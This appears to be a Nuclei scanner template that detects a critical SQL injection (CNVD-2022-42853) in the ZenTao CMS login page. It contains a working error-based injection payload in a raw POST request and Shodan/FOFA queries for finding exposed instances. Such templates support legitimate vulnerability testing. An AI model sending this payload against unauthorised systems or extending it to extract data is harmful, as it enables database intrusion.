id: CNVD-2022-42853

info:
  name: ZenTao CMS - SQL Injection
  author: ling
  severity: critical
  description: |
    ZenTao CMS contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://github.com/z92g/ZentaoSqli/blob/master/CNVD-2022-42853.go
    - https://www.cnvd.org.cn/flaw/show/CNVD-2022-42853
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
    cpe: cpe:2.3:a:easycorp:zentao:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"zentao"
    fofa-query: "Zentao"
    product: zentao
    vendor: easycorp
  tags: cnvd,cnvd2022,zentao,sqli
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /zentao/user-login.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/zentao/user-login.html

        account=admin'+and++updatexml(1,concat(0x1,md5({{num}})),1)+and+'1'='1

    matchers:
      - type: word
        part: body
        words:
          - 'c8c605999f3d8352d7bb792cf3fdb25'
# digest: 4a0a00473045022100b7f44d8a38555e2fb5cc3dc1ff1fcbbf846ddb47f51d22ccf8498d004aefff3d0220358217c2ab54a9a78575490f2446c79bcf4526c160b44e8128212d7aeac20149:922c64590222798bb761d5b6d8e72950